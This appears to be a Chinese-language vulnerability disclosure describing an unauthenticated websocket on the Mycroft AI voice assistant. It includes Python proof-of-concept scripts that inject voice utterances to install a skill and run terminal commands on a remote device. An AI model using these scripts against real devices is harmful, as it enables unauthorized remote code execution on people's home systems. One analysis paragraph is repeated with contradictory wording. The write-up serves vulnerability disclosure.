智能语音应用Mycroft AI的远程代码执行漏洞分析

当我在Arch Linux社区开源软件包的开发贡献过程中，发现了一个很有意思的项目-麦考夫Mycroft AI，它是一款开源且基于人工智能（AI）的语音助理应用，在对它的研究过程中，我发现了一个不用点击交互即可实现的远程代码执行漏洞（RCE）。

与业界有名的Amazon Echo和Google Home不同的是，Mycroft最早于2015年开始在海外网站发起众筹来批量生产其Mark-I 和 Mark-II 代产品，而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理基于Linux Desktop/Server和Raspberry PI架构，现广泛用于智能自动化家居系统中，其新款应用将订制化应用于捷豹和路虎的某些车型中。

代码分析

在对Mycroft AI的源代码分析中，我发现了其中有意思的一个地方：

...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...

在这里它定义了一个websocket服务端，用来接收类似于Andriod远程客户端的指令，在mycroft.conf中给出了websocket服务端设置的具体定义：

// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},

从以上代码可知，在0.0.0.0:8181/core上默认的websocket服务端竟然无需任何身份验证，好吧，让我们写个脚本来测试一下：

#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
       
 await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())

很好，我们能让Mycroft AI自己说 “pwned”，这样，我们也能让Mycroft AI远程发声，但这也不算是什么大发现，最多也只能吓唬一下朋友而已。

Mycroft AI 的技能系统

深入挖掘之后，可以发现Mycroft内置了一个技能系统，可以在其基础上安装其它你想要的语音技能，听起来很好，不是吗？

那么，Mycroft的一种技能是由哪些元素组成的呢？从给出的说明文档可以看到，Mycroft的技能元素如下：

dialog/en-us/command.dialog：包含了能触发技能的语音命令
vocab/en-us/answer.voc：包含了Mycroft发声的答案
requirements.txt：包含了由 pip 方式安装的技能所需安装包
__int__.py：包含了技能的主函数和触发执行时的需要加载的命令

利用分析

有了以上技能元素之后，我就可以创建一个恶意技能，当它被触发之后，就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是，这样的方式并不能通过语音命令来实现，除非其技能链接URL未被一些在线网站白名单化。这虽然有可能，但多少有些麻烦。

测试实现

有了以上技能元素之后，我就可以创建一个恶意技能，当它被触发之后，就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是，这样的方式并不能通过语音命令来实现，除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能，但执行起来多少有些麻烦。

Mycroft 内置了很多默认技能，如 open 这种能打开其它第三方应用的，还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究，我发现了一个名为skill-autogui的有趣技能，它的主要功能是对鼠标键盘的控制，好吧，我们就用它来试试！把所有以上可利用的发现组合成一个PoC：

#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
           
 await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())

用 pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 命令运行exploit代码之后，就能在一台远程Mycroft设备的Linux系统上执行命令：

Notes：

open xterm：由于我的测试用Linux是桌面版的，所以，远程测试机也是直接通过终端TTY来执行的；
目前，Mycroft的技能分支包存在一个比较大的变化，包括autogui在内的一些技能是暂不可用的，但这不是重点。Mycroft的许多技能可于智能自动化家居系统进行交互，所以，它的其它服务或许也存在可被控制利用的可能。这个漏洞的关键在于，其中websocket服务端缺乏必要的身份验证。